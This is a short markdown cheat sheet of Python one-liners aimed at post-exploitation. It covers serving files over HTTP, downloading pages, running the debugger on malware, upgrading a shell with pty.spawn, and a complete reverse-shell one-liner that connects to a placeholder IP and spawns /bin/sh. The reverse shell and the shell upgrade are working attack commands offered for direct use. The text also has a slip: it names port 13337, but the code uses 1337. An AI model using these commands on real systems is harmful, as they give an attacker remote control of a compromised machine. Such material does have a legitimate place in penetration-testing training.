# Cool Python Tricks ## Starting a quick web server to serve some files (useful for post exploitation) ### In Python 2.x `python -m SimpleHTTPServer 1337` ### In Python 3.x `python3 -m http.server 1337` ---- ## Pythonic Web Client ### In Python 2.x `python -c 'import urllib2; print urllib2.urlopen("http://h4cker.org/web").read()' | tee /tmp/file.html` ### In Python 3.x `python3 -c 'import urllib.request; urllib.request.urlretrieve ("http://h4cker.org/web","/tmp/h4cker.html")'` ---- ## Python Debugger This imports a Python file and runs the debugger automatically. This is useful for debugging Python-based malware and for post-exploitation. `python -m pdb ` Refer to this [Python Debugger cheatsheet](https://kapeli.com/cheat_sheets/Python_Debugger.docset/Contents/Resources/Documents/index) if you are not familiar with the Python Debugger. ---- ## Shell to Terminal This is useful after exploitation and getting a shell. It allows you to use Linux commands that require a terminal session (e.g., su, sudo, vi, etc.) `python -c 'import pty; pty.spawn("/bin/bash")'` ---- ## Using Python to do a Reverse Shell You put your IP address (instead of 192.168.78.205) and the port (instead of 13337) below: ``` python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.78.205",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' ```